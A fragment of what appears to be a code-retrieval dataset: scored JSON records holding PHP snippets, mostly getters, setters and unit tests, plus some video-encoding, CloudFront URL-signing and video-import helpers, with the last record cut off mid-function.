}, { "docid": "69d0a128f37ae45662535205e5995b4e", "score": "0.4896179", "text": "function setNapetiKlima(int $napetiKlima):int {\n $this->napetiKlima = $napetiKlima;\n }", "title": "" }, { "docid": "1bfbf9ba348842577ba75aa861511cc2", "score": "0.48872253", "text": "public function setValorInicial($nValorInicial) {\n $this->nValorInicial = $nValorInicial;\n }", "title": "" }, { "docid": "9e8df24a2fcffa87c32b6a86d2c742bc", "score": "0.4880339", "text": "public function getNcm()\n {\n return $this->ncm;\n }", "title": "" }, { "docid": "ee7230bd73aae02e761721ddb26a60e3", "score": "0.4880119", "text": "public function setAno($iAno) {\n $this->iAno = $iAno;\n }", "title": "" }, { "docid": "ee7230bd73aae02e761721ddb26a60e3", "score": "0.4880119", "text": "public function setAno($iAno) {\n $this->iAno = $iAno;\n }", "title": "" }, { "docid": "b9365ba31bbfe34005f3c2d1c6952406", "score": "0.4850208", "text": "private function cObjData_setFlagDisplayInCaseOfNoCounting()\n {\n static $bool_DRSprompt = true;\n\n if ( !$this->ts_getDisplayInCaseOfNoCounting() )\n {\n return;\n }\n\n // Set key and value for treeview field\n $key = $this->pObj->prefixId . '.flag_displayInCaseOfNoCounting';\n $value = 1;\n\n // Set treeview field\n $this->pObj->cObj->data[ $key ] = $value;\n\n // DRS\n if ( $this->pObj->b_drs_cObjData && $bool_DRSprompt )\n {\n $prompt = 'cObj->data[ ' . $key . '] = ' . $value;\n t3lib_div::devlog( '[INFO/COBJ] ' . $prompt, $this->pObj->extKey, 0 );\n $bool_DRSprompt = false;\n }\n // DRS\n }", "title": "" }, { "docid": "7a541d65a6e8013aa3c646c59702af7b", "score": "0.4847889", "text": "public function setCodiNoti($value) {\n\t\t//validando de que el valor sea un id\n\t\tif ($this->validateId($value)) {\n\t\t\t//seteando valor a la variable codigo\n\t\t\t$this->codi_noti = $value;\n\t\t\t//retornar true\n\t\t\treturn true;\n\t\t} else {\n\t\t\t//retornar respuesta falso\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "275e6bb653697c1cb3bf972e5a5a04ae", "score": "0.48368645", "text": "function setBaseCalculo($nValorBaseCalculo) {\n $this->nValorBaseCalculo = $nValorBaseCalculo;\n }", "title": "" }, { "docid": "3a0b5cd355a04ca7471f2eee7ebae710", "score": "0.4834503", "text": "private function setCodigo($iCodigo) {\n $this->iCodigo = $iCodigo;\n }", "title": "" }, { "docid": "212d575bcb8fa148c741ef7ed50e5740", "score": "0.47966543", "text": "public function n() : int\n {\n return $this->n;\n }", "title": "" }, { "docid": "212d575bcb8fa148c741ef7ed50e5740", "score": "0.47966543", "text": "public function n() : int\n {\n return $this->n;\n }", "title": "" }, { "docid": "4cde0cf348014247fd00ebbea4025869", "score": "0.4796001", "text": "public function get_nim()\n\t{\n\t\treturn $this->nim;\n\t}", "title": "" }, { "docid": "6404e728dd075173d60efec3ee0d75ff", "score": "0.47847465", "text": "protected function setDNINumber($value)\n\t{\n\t\t$this->setTextFont(10);\n\t\t$value = number_format($value,\"0\",\"\",\".\");\n\t\tfor($i=0;$i<$this->copies;$i++){\n\t\t\t$this->_getPdf()->pages[$i]->drawText($value, 298, 623, 'UTF-8');\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "243e2210e877d82192127ba9c978b4be", "score": "0.47733516", "text": "function setNum($num)\n {\n $this->num = $num;\n }", "title": "" }, { "docid": "b6019b90af8f2555ccb6bc160a69b511", "score": "0.47631672", "text": "public function setValorLancar($nValorLancar){\n $this->nValorLancar = $nValorLancar;\n }", "title": "" }, { "docid": "9352441683c2117e0585bac204ecc5ce", "score": "0.47403902", "text": "public function __construct ($ci) {\n $this->ci = $ci;\n }", "title": "" }, { "docid": "749431222e6bb688c4099624271d4c25", "score": "0.47379833", "text": "public function setCodigo($iCodigo) {\n $this->iCodigo = $iCodigo;\n }", "title": "" }, { "docid": "749431222e6bb688c4099624271d4c25", "score": "0.47379833", "text": "public function setCodigo($iCodigo) {\n $this->iCodigo = $iCodigo;\n }", "title": "" }, { "docid": "775e9a1f1c6bb83ced2898bf8960d1e1", "score": "0.47365242", "text": "protected function setTaxAmount1050($valueNeto, $valueIva)\n\t{\n\t\t$this->setNumbersFont(8);\n\t\tfor($i=0;$i<$this->copies;$i++){\n\t\t\t$this->_getPdf()->pages[$i]->drawText($this->asMonospacedNumber($valueNeto,10), 198, 128, 'UTF-8');\n\t\t\t$this->_getPdf()->pages[$i]->drawText($this->asMonospacedNumber($valueIva,10), 198, 108, 'UTF-8');\n\t\t}\n\t}", "title": "" }, { "docid": "7c47e164a2669c4ed80f6adc2c5ddf70", "score": "0.47263047", "text": "public function getValorCofins()\n {\n return $this->valorCofins;\n }", "title": "" }, { "docid": "1d6c7f46477e805328904ab47c6e089d", "score": "0.4714663", "text": "function __construct($i = 0, $c = 0, $r = 0, $n = 0, $ni = 0)\n {\n $this->id = $i;\n $this->col = $c;\n $this->row = $r;\n $this->number = $n;\n $this->idNiche = $ni;\n }", "title": "" }, { "docid": "7a2ddee3fb9de68fe0bedff2f7fbd879", "score": "0.47096902", "text": "protected function setTaxAmount2100($valueNeto, $valueIva)\n\t{\n\t\t$this->setNumbersFont(8);\n\t\tfor($i=0;$i<$this->copies;$i++){\n\t\t\t$this->_getPdf()->pages[$i]->drawText($this->asMonospacedNumber($valueNeto,10), 254, 128, 'UTF-8');\n\t\t\t$this->_getPdf()->pages[$i]->drawText($this->asMonospacedNumber($valueIva,10), 254, 108, 'UTF-8');\n\t\t}\n\t}", "title": "" }, { "docid": "7c2743dd235ba67d6f7926dd63bb0a59", "score": "0.47092772", "text": "public static function setNetPay($connection,$empno){\n }", "title": "" }, { "docid": "23d59208eb0524130181e7a54ce04468", "score": "0.47016802", "text": "public function testSetNbJourBaseCp() {\n\n $obj = new Employes();\n\n $obj->setNbJourBaseCp(10.092018);\n $this->assertEquals(10.092018, $obj->getNbJourBaseCp());\n }", "title": "" }, { "docid": "bd85846c265049f0cd3f3e5176586810", "score": "0.4701512", "text": "public function setIdContCliVend($value,$options=array('required'=>true)){ \n $this->_data['id_cont_cli_vend'] = new ZendT_Type_Number($value,array('numDecimal'=>null));\n if ($options['db'])\n $this->_data['id_cont_cli_vend']->setValueFromDb($value);\n \n if (!$options['db']){\n \n }\n return $this;\n }", "title": "" }, { "docid": "1984cdb239dfe33603bea725107c3251", "score": "0.46939024", "text": "public function setDni($dni) {\n\t\t$this->dni = $dni;\n\t}", "title": "" }, { "docid": "6be62e89fd44333494e4032b1054638a", "score": "0.4693008", "text": "protected function _getIpn()\n {\n if (is_null($this->_ipn)) {\n $this->_ipn = Mage::getModel('cjcheckout/ipn');\n }\n return $this->_ipn;\n }", "title": "" }, { "docid": "ec9054a46cec89b992c236e88fcbb918", "score": "0.46865276", "text": "public function setnx($key, $value)\n {\n return (int) $this->command('setnx', [$key, $value]);\n }", "title": "" }, { "docid": "9f2a5c0f40526d7d3492d5218a644af9", "score": "0.46654123", "text": "public function testSetNiveau() {\n\n $obj = new Collaborateurs();\n\n $obj->setNiveau(10);\n $this->assertEquals(10, $obj->getNiveau());\n }", "title": "" }, { "docid": "6865562f408be32e4502a0892a79bbd0", "score": "0.4644083", "text": "public function testSetNumeroAttestation() {\n\n $obj = new AttestationCacm();\n\n $obj->setNumeroAttestation(\"numeroAttestation\");\n $this->assertEquals(\"numeroAttestation\", $obj->getNumeroAttestation());\n }", "title": "" }, { "docid": "a468e4156d1cd240c0ec227b2cf00e27", "score": "0.46425468", "text": "public function setPriceNettoAttribute($value)\n\t{\n\t\t$this->attributes['price_netto'] = str_replace(',', '.', $value);\n\t}", "title": "" }, { "docid": "e2258ce7f4519c53cc672919c4d2cb67", "score": "0.46302205", "text": "public function setAcciNoti($value) {\n\t\t//validando de que el valor sea alfabetico y que sea mayor a uno y menor a cien\n\t\tif ($this->validateAlphanumeric($value, 1, 400)) {\n\t\t\t//seteando valor a la variable de nombre de categoria\n\t\t\t$this->acci_noti = $value;\n\t\t\t//retornando respuesta true\n\t\t\treturn true;\n\t\t} else {\n\t\t\t//retornando respuesta false\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "242f1bb90baf332b609653b7d4d9a4bd", "score": "0.46288833", "text": "public function getCodiNoti($value) {\n\t\treturn $this->codi_noti;\n\t}", "title": "" }, { "docid": "b6bd1f1bd7b6b690272e813ad2e2cc71", "score": "0.46063069", "text": "public function setNUCRate($nUCRate)\n {\n $this->nUCRate = $nUCRate;\n return $this;\n }", "title": "" }, { "docid": "56f382533240c725b8a18faba00a1b42", "score": "0.46046785", "text": "public function setNaziv($naziv)\n {\n $this->naziv = $naziv;\n\n return $this;\n }", "title": "" }, { "docid": "5e31c908b23a0994f66ec47f3f7bccb1", "score": "0.4600237", "text": "public function setIdEdificio($n)\n {\n echo $this->getContenido();\n $this->c_id_edificio = $n;\n }", "title": "" }, { "docid": "5420cd615311c116e43c20dae328430d", "score": "0.45969373", "text": "public function testSetNumero() {\n\n $obj = new Collaborateurs();\n\n $obj->setNumero(\"numero\");\n $this->assertEquals(\"numero\", $obj->getNumero());\n }", "title": "" }, { "docid": "65b9f84184134a104d0eacb25368b3dc", "score": "0.45915046", "text": "public function pi_setPiVarDefaults() {}", "title": "" }, { "docid": "52fe69b896eb2854ab8a2820bdee5ae7", "score": "0.45776176", "text": "public function setCLINICA($CLINICA)\r\n {\r\n $this->CLINICA = $CLINICA;\r\n\r\n return $this;\r\n }", "title": "" }, { "docid": "4777d43e5b11d745321b1a4ce43e4699", "score": "0.45773485", "text": "public function setCoti_total($coti_total){\n $this->coti_total = $coti_total;\n }", "title": "" }, { "docid": "e1450090175dfa0df7babaf2e797df1f", "score": "0.45750508", "text": "function ini()\n \t{\n \t\t$this->inicializarCN();\n \t}", "title": "" }, { "docid": "9daeeaff9ba3f06ef2fca27585fff08c", "score": "0.4571526", "text": "public function setContenido($n)\n {\n $this->c_contenido=$n;\n }", "title": "" }, { "docid": "27e386f7c50e3a942e2a90aeb007281c", "score": "0.45688158", "text": "function toigian_ps()\n {\n $uscln = $this->USCLN($this->tuso, $this->mauso);\n $this->tuso = $this->tuso/$uscln;\n $this->mauso = $this->mauso/$uscln;\n }", "title": "" }, { "docid": "7eb527865bb95a40008a554ad64d56c7", "score": "0.4563161", "text": "protected function getValueOfN()\n {\n $lat = $this->latitude;\n\n $sinLat = sin(\\deg2rad($lat));\n\n $base = 1 - $this->getValueOfSquareEccentricity() * pow($sinLat, 2);\n\n return OOW_EARTH_MAJOR_RADIUS / \\sqrt($base);\n }", "title": "" }, { "docid": "8ba823e5e60788421e9bf72ee59cfdd0", "score": "0.45607385", "text": "public function setNe($x) { $this->ne = $x; }", "title": "" }, { "docid": "979c08594ee181c9270fd3aa7d49d754", "score": "0.4556921", "text": "public function __construct($nim, $nip)\n {\n $this->nim = $nim;\n $this->nip = $nip;\n }", "title": "" }, { "docid": "bd2043ef8dffa61dcb34a08f58651093", "score": "0.4556214", "text": "public function testSetCumNetImposable() {\n\n $obj = new Employes();\n\n $obj->setCumNetImposable(10.092018);\n $this->assertEquals(10.092018, $obj->getCumNetImposable());\n }", "title": "" }, { "docid": "b38c7ee6d4f1b3aedf2e7c827b91b063", "score": "0.45465723", "text": "public function setCodigo($iCodigo) {\n $this->iCodigo = $iCodigo;\n }", "title": "" }, { "docid": "b414d598a09e2c9ee71860bb01fbf458", "score": "0.4546212", "text": "public function setNoserv(?int $noserv): self\n {\n $this->noserv = $noserv;\n\n return $this;\n }", "title": "" }, { "docid": "bf286fb5c751bcded2fb16da59454f12", "score": "0.4537476", "text": "public function getNprcifecha()\n {\n return $this->nprcifecha;\n }", "title": "" }, { "docid": "0142f2ab05df91f6d0ff109d47da6285", "score": "0.4534137", "text": "function setNota_max($inota_max = '')\n {\n $this->inota_max = $inota_max;\n }", "title": "" }, { "docid": "0142f2ab05df91f6d0ff109d47da6285", "score": "0.4534137", "text": "function setNota_max($inota_max = '')\n {\n $this->inota_max = $inota_max;\n }", "title": "" }, { "docid": "9035445a52507050e51d0a31ec75e04b", "score": "0.4533802", "text": "public function setOperationNumber($value) {\n if(strlen($value) > 50 ){\n throw new ValueException(\"Value \".$value.\" is higher than 8\");\n }\n $this->Num_operacion = $value;\n }", "title": "" }, { "docid": "1fa5e51a73767e1ad660469a4f1ab662", "score": "0.4527218", "text": "public function define_nb_line($p_nb_line)\r\n\t\t{\r\n\t\t\t$this->c_nb_line = $p_nb_line;\r\n\t\t\t$this->c_limit_max = $this->c_nb_line;\r\n\t\t}", "title": "" }, { "docid": "a5ae08d3fc0d671128be5d2e1daf558f", "score": "0.4523828", "text": "public function getNaziv()\n {\n return $this->naziv;\n }", "title": "" }, { "docid": "e4dea5a15d36b8dd54b49011d8572bcc", "score": "0.45203125", "text": "public function getNuCpf()\n\t{\n\t\treturn $this->nu_cpf;\n\t}", "title": "" }, { "docid": "6f0fddd07835373766dd6baba840f507", "score": "0.45154184", "text": "public function setNumeroIP( $numero ) {\n $this->numero_ip=$numero;\n $this->enviarNumero();\n $this->activarPantalla();\n //activar y enviar numero\n }", "title": "" }, { "docid": "7a32c424ef9f49ae70035381780f7a78", "score": "0.45150122", "text": "function setCiudad ($ciudad) {\r\n $this->cicudad = $ciudad;\r\n }", "title": "" }, { "docid": "7b62d8e0d85c66fcd0e5205423b9cd7c", "score": "0.45140648", "text": "public function testSetNiveauQualif() {\n\n $obj = new AttestationCacm();\n\n $obj->setNiveauQualif(\"niveauQualif\");\n $this->assertEquals(\"niveauQualif\", $obj->getNiveauQualif());\n }", "title": "" }, { "docid": "d8c340342bec0d7485fb14fd323a0435", "score": "0.45134044", "text": "public function setDiscountAttribute($val)\n {\n return (int)$this->attributes['discount'] = $val;\n }", "title": "" }, { "docid": "ccb589ff64c6bcf8517eaca82c40fca5", "score": "0.4505366", "text": "public function setESTADOCIVIL($ESTADO_CIVIL)\r\n {\r\n $this->ESTADO_CIVIL = $ESTADO_CIVIL;\r\n\r\n return $this;\r\n }", "title": "" }, { "docid": "1e6bc2279fb5a9bbdd95aca97c8d4472", "score": "0.45049593", "text": "function Np($gamma,$n,$SFR){ return Fcal*tpion($n)*K0($SFR)*($gamma**-Chi)*mp*(c**2);\t}", "title": "" }, { "docid": "cac7c4008543fa87978c61c2177b6e7b", "score": "0.45013976", "text": "public function testSetNbAppelsEnCours() {\n\n $obj = new AppelsEnCours();\n\n $obj->setNbAppelsEnCours(10);\n $this->assertEquals(10, $obj->getNbAppelsEnCours());\n }", "title": "" }, { "docid": "965aeb4d9e437e533cddf1a05fc1b415", "score": "0.45013756", "text": "public function getNumeroCivico() {\n return $this->numeroCivico;\n }", "title": "" }, { "docid": "88b4f9c28c4a8215498b503ee21cf620", "score": "0.44980386", "text": "public function getNaziv()\n {\n return $this->naziv;\n }", "title": "" }, { "docid": "cca656d952bbe2d0535849148922d6bf", "score": "0.44979963", "text": "public function testSetIndemnLic() {\n\n $obj = new AttestationCacm();\n\n $obj->setIndemnLic(true);\n $this->assertEquals(true, $obj->getIndemnLic());\n }", "title": "" }, { "docid": "0e1968d7f6be40b4584d2bd2617c6309", "score": "0.44977057", "text": "public function setIcontactId(int $nb_icontact_id) : CNabuDataObject\n {\n if ($nb_icontact_id === null) {\n throw new ENabuCoreException(\n ENabuCoreException::ERROR_NULL_VALUE_NOT_ALLOWED_IN,\n array(\"\\$nb_icontact_id\")\n );\n }\n $this->setValue('nb_icontact_id', $nb_icontact_id);\n \n return $this;\n }", "title": "" }, { "docid": "4709a41b9fd663c1e2b954ab73a3ebf2", "score": "0.44962394", "text": "public function setNuCNPJ($nuCNPJ = null)\n {\n // validation for constraint: string\n if (!is_null($nuCNPJ) && !is_string($nuCNPJ)) {\n throw new \\InvalidArgumentException(sprintf('Invalid value %s, please provide a string, %s given', var_export($nuCNPJ, true), gettype($nuCNPJ)), __LINE__);\n }\n // validation for constraint: pattern\n if (is_scalar($nuCNPJ) && !preg_match('/\\\\d{14}/', $nuCNPJ)) {\n throw new \\InvalidArgumentException(sprintf('Invalid value %s, please provide a scalar value that matches \"\\d{14}\"', var_export($nuCNPJ, true)), __LINE__);\n }\n if (is_null($nuCNPJ) || (is_array($nuCNPJ) && empty($nuCNPJ))) {\n unset($this->nuCNPJ);\n } else {\n $this->nuCNPJ = $nuCNPJ;\n }\n return $this;\n }", "title": "" }, { "docid": "9ddbf2a02ff9b8c154597e61124e5716", "score": "0.4491432", "text": "public function testSetNbHeureMens() {\n\n $obj = new AttestationCacm();\n\n $obj->setNbHeureMens(10.092018);\n $this->assertEquals(10.092018, $obj->getNbHeureMens());\n }", "title": "" } ]
7032c0540bc917070b79999ebc8c6551
Fairplay configuration. Generated from protobuf field .google.cloud.video.livestream.v1.Encryption.Fairplay fairplay = 2;
[ { "docid": "69d5a83297759fd32a98d71eefe866e4", "score": "0.5669457", "text": "public function getFairplay()\n {\n return $this->fairplay;\n }", "title": "" } ]
[ { "docid": "52113553143e272e9a4f0378abd5ca3c", "score": "0.7037551", "text": "public function setFairplay($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Video\\LiveStream\\V1\\Encryption\\Fairplay::class);\n $this->fairplay = $var;\n\n return $this;\n }", "title": "" }, { "docid": "94528ad6d6aa973a2407a455632e672c", "score": "0.46222374", "text": "public function configure()\n\t{\n\t\t$this\n\t\t\t\t->setOptions(\n\t\t\t\t\t\tarray('-strict' => 'experimental', '-acodec' => 'aac', '-ab' => '128k', '-cutoff' => '15000',\n\t\t\t\t\t\t\t\t'-threads' => '0',));\n\t}", "title": "" }, { "docid": "d30ead8c8e887158aabbaf39192c0d16", "score": "0.457614", "text": "public function configure()\n\t{\n\t\t$this\n\t\t\t\t->setOptions(\n\t\t\t\t\t\tarray(\t'-acodec' => 'libvorbis', '-ab' => '128k',\n\t\t\t\t\t\t\t\t'-threads' => '7'));\n\t}", "title": "" }, { "docid": "ecf67d10770c8f4bc838e1988cf3a19b", "score": "0.44388306", "text": "public function getFair()\n\t{\n\t\treturn $this->fair;\n\t}", "title": "" }, { "docid": "7b09d8675afb093de261143e73c967d0", "score": "0.44162753", "text": "function _EmbedVideo () {\nreturn ((get_option('sharingrule',1) == 1) || is_moderator());\t\n}", "title": "" }, { "docid": "ff7fc08bbcbe5366876cda45a2245036", "score": "0.42807716", "text": "function play( $id, $id_param, $back_url ) {\n\t\trequire_once( $GLOBALS['where_lms'].'/lib/lib.param.php' );\n\t\trequire_once( Docebo::inc(_lms_.'/modules/scorm/scorm.php') );\n\t\t$idReference = getLOParam($id_param, 'idReference');\n\t\t$autoplay = getLOParam($id_param, 'autoplay');\n\t\t$playertemplate = getLOParam($id_param, 'playertemplate');\n\t\tplay($id, $idReference, $back_url, $autoplay, $playertemplate);\n\t\t//Util::jump_to( 'index.php?modname=scorm&op=play&idscorm_organization='.$this->idResource\n\t\t//\t\t.'&idReference='.$idReference);\n\t}", "title": "" }, { "docid": "e14e883357462f042c19c0e4ea1779fe", "score": "0.42627457", "text": "public function test_video_codec()\n {\n $this->cloudinary_url_assertion(\"video_id\", array('resource_type' => 'video', 'video_codec' => 'auto'),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"vc_auto/video_id\");\n // should support a hash value\n $this->cloudinary_url_assertion(\n \"video_id\",\n array(\n 'resource_type' => 'video',\n 'video_codec' => array('codec' => 'h264', 'profile' => 'basic', 'level' => '3.1'),\n ),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"vc_h264:basic:3.1/video_id\");\n }", "title": "" }, { "docid": "5866a9dd5bee42ad9e37ce7f0cf8518e", "score": "0.41595626", "text": "public function amazon_polly_autoplay_cb() {\n\n\t\tif ( $this->amazon_polly_is_ok() ) {\n\n\t\t\t$selected_autoplay = get_option( 'amazon_polly_autoplay' );\n\n\t\t\tif ( empty( $selected_autoplay ) ) {\n\t\t\t\t$checked = ' ';\n\t\t\t} else {\n\t\t\t\t$checked = ' checked ';\n\t\t\t}\n\t\t\techo '<input type=\"checkbox\" name=\"amazon_polly_autoplay\" id=\"amazon_polly_autoplay\" ' . esc_attr( $checked ) . '> ';\n\t\t\techo '<p class=\"description\" for=\"amazon_polly_autoplay\">Automatically play audio content when page loads</p>';\n\t\t} else {\n\t\t\techo '<p>Please verify your AWS Credentials are accurate</p>';\n\t\t}\n\t}", "title": "" }, { "docid": "426ac5b5a97e342f5032d0677a0b24d1", "score": "0.4112406", "text": "public function test_audio_codec()\n {\n $this->cloudinary_url_assertion(\n \"video_id\",\n array('resource_type' => 'video', 'audio_codec' => 'acc'),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"ac_acc/video_id\"\n );\n }", "title": "" }, { "docid": "36a23468896e2e3d29c20718a38ededb", "score": "0.4094412", "text": "public function active_learning_video($google_spread_id = '')\n {\n $this->load->model('video_model');\n $this->load->library('brightcove_video');\n\n $google_spread_id = !empty($google_spread_id) ? $google_spread_id : '1naHNvNd8v6t72qc5ddyjhJhVBuKxN3B1pkK3wA43OHU';\n\n $spread = $this->google_spreadsheet->get_spreadsheet_by_id($google_spread_id);\n\n $list_entries = $this->google_spreadsheet->get_list_entries_in_sheet($spread, 'Sheet1');\n\n foreach ($list_entries AS $key => $entry) {\n \n if (empty($entry['videoid'])) {\n $this->add_error_log('[Import][Active_learning] Cannot detect video id of row ' . ($key + 2));\n continue;\n }\n\n log_message('info', '[Import][Active_learning] '.$entry['videoid']);\n\n $brightcove_img = null;\n\n $brightcove_id = mb_trim($entry['brightcoveid']);\n\n if (!empty($brightcove_id)) {\n\n $brightcove_img = $this->get_brightcove_image_link($brightcove_id);\n }\n\n if (empty($brightcove_img)) {\n $this->add_error_log('[Import][Active_learning] Cannot detect brightcove id of row ' . ($key + 2));\n continue;\n }\n\n $video_data = [\n 'name' => $entry['videoid'],\n 'type' => Video_model::TYPE_ACTIVE_LEARNING_VIDEO,\n 'description' => 'Acitve learning video description of ' . $entry['videoid'],\n 'brightcove_id' => $brightcove_id,\n 'brightcove_thumbnail_url' => !empty($brightcove_img) ? $brightcove_img : null\n ];\n\n $video = $this->video_model->find_by([\n 'name' => $entry['videoid'],\n 'type' => Video_model::TYPE_ACTIVE_LEARNING_VIDEO,\n ]);\n\n if (!empty($video)) {\n $video_data['id'] = $video->id;\n }\n\n $this->video_model->create($video_data, [\n 'mode' => 'replace',\n 'master' => TRUE\n ]);\n }\n\n //$this->show_error_log();\n }", "title": "" }, { "docid": "4acb1e68f351e1fe2becb1bfb39ed560", "score": "0.4077087", "text": "public function amazon_polly_playersettings_cb() {\n\t}", "title": "" }, { "docid": "9b527b3632c5343c2021b5ba91682f1a", "score": "0.40747285", "text": "function createAacConfig()\n{\n global $bitmovinApi;\n\n $aacConfig = new AacAudioConfiguration();\n $aacConfig->name(\"AAC 128 kbit/s\");\n $aacConfig->bitrate(128000);\n\n return $bitmovinApi->encoding->configurations->audio->aac->create($aacConfig);\n}", "title": "" }, { "docid": "fd08396206f9cfc8bdc5281a5821160d", "score": "0.40263316", "text": "public function setPlayready($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Video\\LiveStream\\V1\\Encryption\\Playready::class);\n $this->playready = $var;\n\n return $this;\n }", "title": "" }, { "docid": "7e57c2348c767d3ffd3e921f8d9e1d51", "score": "0.4021009", "text": "public function setAllowedAudience($val)\n {\n $this->_propDict[\"allowedAudience\"] = $val;\n return $this;\n }", "title": "" }, { "docid": "21705ce2f5913745722513ef3c143ac2", "score": "0.40015656", "text": "function get_canned_policy_stream_name($video_path, $private_key_filename, $key_pair_id, $expires) {\n $canned_policy = '{\"Statement\":[{\"Resource\":\"' . $video_path . '\",\"Condition\":{\"DateLessThan\":{\"AWS:EpochTime\":'. $expires . '}}}]}';\n // the policy contains characters that cannot be part of a URL, so we base64 encode it\n $encoded_policy = url_safe_base64_encode($canned_policy);\n // sign the original policy, not the encoded version\n $signature = rsa_sha1_sign($canned_policy, $private_key_filename);\n // make the signature safe to be included in a url\n $encoded_signature = url_safe_base64_encode($signature);\n\n // combine the above into a stream name\n $stream_name = create_stream_name($video_path, null, $encoded_signature, $key_pair_id, $expires);\n // url-encode the query string characters to work around a flash player bug\n return encode_query_params($stream_name);\n}", "title": "" }, { "docid": "e893edd6a75512695d1bbbeb2c4ef337", "score": "0.39712307", "text": "public function getAllowedAudience()\n {\n if (array_key_exists(\"allowedAudience\", $this->_propDict)) {\n if (is_a($this->_propDict[\"allowedAudience\"], \"\\Beta\\Microsoft\\Graph\\Model\\BroadcastMeetingAudience\") || is_null($this->_propDict[\"allowedAudience\"])) {\n return $this->_propDict[\"allowedAudience\"];\n } else {\n $this->_propDict[\"allowedAudience\"] = new BroadcastMeetingAudience($this->_propDict[\"allowedAudience\"]);\n return $this->_propDict[\"allowedAudience\"];\n }\n }\n return null;\n }", "title": "" }, { "docid": "12a7590e5474728f1b92bdfcfa9ce861", "score": "0.39429644", "text": "public function videoexamplesave(Request $request)\n {\n // $lowBitrate = ($format)->setKiloBitrate(250);\n // $midBitrate = ($format)->setKiloBitrate(500);\n // $highBitrate = ($format)->setKiloBitrate(1000);\n //$superBitrate = ($format)->setKiloBitrate(1500);\n\n $lowBitrate = (new \\FFMpeg\\Format\\Video\\X264 ('aac'))->setKiloBitrate(500)->setVideoCodec('libx264');\n $midBitrate = (new \\FFMpeg\\Format\\Video\\X264 ('aac'))->setKiloBitrate(1000)->setVideoCodec('libx264');\n $highBitrate = (new \\FFMpeg\\Format\\Video\\X264 ('aac'))->setKiloBitrate(3000)->setVideoCodec('libx264');\n \n $aa=FFMpeg::fromDisk('uploads')->open('aa.mp4')\n ->getVideoStream()\n ->getDimensions();\n // ->first()\n // ->getDimensions();\n //dd($aa->getWidth());\n if($aa->getWidth() >= '1080' )\n {\n echo $cc='aa';\n }\n else\n {\n echo $cc='bb';\n }\n dd($cc);\n FFMpeg::fromDisk('uploads')\n ->open('aa.mp4')\n ->exportForHLS()\n //->dontSortFormats()\n ->setSegmentLength(10)\n //->toDisk('local')\n // ->addFormat($lowBitrate, function($media) {\n // $media->addFilter(function ($filters) {\n // $filters->custom(new \\FFMpeg\\Coordinate\\Dimension(640, 480));\n // });\n // })\n // ->addFormat($midBitrate, function($media) {\n // $media->addFilter(function ($filters) {\n // $filters->custom(new \\FFMpeg\\Coordinate\\Dimension(1280, 960));\n // });\n // })\n ->addFormat($lowBitrate, function($media) {\n $media->addLegacyFilter(function ($filters) {\n $filters->resize(new \\FFMpeg\\Coordinate\\Dimension(426,240));\n });\n })\n ->addFormat($midBitrate, function($media) {\n $media->addLegacyFilter(function ($filters) {\n $filters->resize(new \\FFMpeg\\Coordinate\\Dimension(640,360));\n });\n })\n ->addFormat($highBitrate, function($media) {\n $media->addLegacyFilter(function ($filters) {\n $filters->resize(new \\FFMpeg\\Coordinate\\Dimension(2560, 1920));\n });\n })\n\n // ->exportForHLS()\n // ->setSegmentLength(10) // optional\n // ->setKeyFrameInterval(48) // optional\n // // ->addFormat($lowBitrate)\n // // ->addFormat($midBitrate)\n // // ->addFormat($highBitrate)\n // ->addFormat($lowBitrate, function($media) {\n // $media->addFilter('scale=640:480');\n // })\n // ->addFormat($midBitrate, function($media) {\n // $media->scale(960, 720);\n // })\n // ->addFormat($highBitrate, function ($media) {\n // $media->addFilter(function ($filters, $in, $out) {\n // $filters->custom($in, 'scale=1920:1200', $out); // $in, $parameters, $out\n // });\n // })\n // ->addFormat($superBitrate, function($media) {\n // $media->addLegacyFilter(function ($filters) {\n // $filters->resize(new \\FFMpeg\\Coordinate\\Dimension(2560, 1920));\n // });\n // })\n ->save('adaptive_steve.m3u8');\n return view('admin.videoexample');\n\n // $aa= FFMpeg::open('aa.mp4')\n // ->exportForHLS()\n // ->useSegmentFilenameGenerator(function ($name, $format, $key, callable $segments, callable $playlist) {\n // $segments(\"{$name}-{$format}-{$key}-%03d.ts\");\n // $playlist(\"{$name}-{$format}-{$key}.m3u8\");\n // });\n // dd($aa);\n \n }", "title": "" }, { "docid": "a44e0066b0c2c95e88bbe9ee4bb927b7", "score": "0.39278555", "text": "private function configure()\n {\n if (empty($this->config->get('jwt')) || empty($this->config->get('jwt.key'))) {\n throw new LaraJwtConfiguringException('LaraJwt config not found.');\n }\n\n $this->key = $this->config->get('jwt.key');\n $this->ttl = $this->config->get('jwt.ttl', 60 * 60 * 24 * 30);\n $this->issuer = $this->config->get('jwt.issuer', 'Issuer');\n $this->audience = $this->config->get('jwt.audience', 'Audience');\n $this->isModelSafe = $this->config->get('jwt.model_safe', false);\n }", "title": "" }, { "docid": "abcc8e4da32a5bcc555447ceabcf76c3", "score": "0.39262405", "text": "function facebook_curl($url)\n{\n $timeout = 900;\n $file_name = md5('AA' . $url . 'A3Code');\n if (file_exists('cache/' . $file_name . '.cache')) {\n $f_open = file_get_contents('cache/' . $file_name . '.cache');\n $data = explode('@@', $f_open);\n $now = gmdate('Y-m-d H:i:s', time() + 3600 * (+7 + date('I')));\n $times = strtotime($now) - $data[0];\n if ($times >= $timeout) {\n $html = trim(curl($url));\n $create_cache = cache_init($url, $html);\n $arrays = explode('|', $create_cache);\n $cache = $arrays[0];\n } else {\n $cache = $data[1];\n }\n } else {\n $html = trim(curl($url));\n $create_cache = cache_init($url, $html);\n $arrays = explode('|', $create_cache);\n $cache = $arrays[0];\n }\n $sd = explode_by('sd_src_no_ratelimit:\"', '\"', $cache);\n $hd = explode_by('hd_src_no_ratelimit:\"', '\"', $cache);\n $jw[0][\"file\"] = '';\n $jw[0][\"src\"] = '';\n $jw[0][\"label\"] = \"HD\";\n $jw[0][\"default\"] = \"true\";\n $jw[0][\"type\"] = \"video/mp4\";\n $i = 0;\n if ($hd) {\n $jw[$i][\"file\"] = $hd;\n $jw[$i][\"src\"] = $hd;\n $jw[$i][\"label\"] = \"HD\";\n 